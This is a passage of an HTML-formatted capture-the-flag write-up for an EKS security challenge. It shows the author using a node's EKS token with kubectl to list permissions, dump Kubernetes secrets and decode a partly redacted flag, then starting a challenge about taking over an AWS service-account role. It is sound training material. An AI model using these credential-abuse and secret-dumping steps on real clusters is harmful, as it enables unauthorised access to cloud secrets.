data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e eks get-token \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cluster-name\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '.status.token' \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           []                  [debug-sa]         [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                 []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]        []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                  [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ePerfect!  We have more access which includes fetching secrets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"items\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"data\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"flag\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3\u0026#x3C;*REDACTED*\u003e=\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T12:27:57Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"node-flag\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge4\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"883574\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"26461a29-ec72-40e1-adc7-99128ce664f7\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we just need to base64 decode that and we are on to the next challenge!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{only_a_real_pro_can_navigate_\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eChallenge 5\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYou've successfully transitioned from a limited Service Account to a Node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eService Account! Great job. Your next challenge is to move from the EKS to the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eAWS account.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eCan you acquire the AWS role of the s3access-sa service account, and get the flag?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets start with checking what access we do have:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewhoami\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esystem:node:challenge:ip-192-168-21-50.us-west-1.compute.internal\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCan we list buckets?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003els\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDenied) when calling the ListBuckets operation: Access Denied\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNope!  So we need to figure out how to become the \u003ccode\u003es3access-sa\u003c/code\u003e. What access do\nwe have?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan 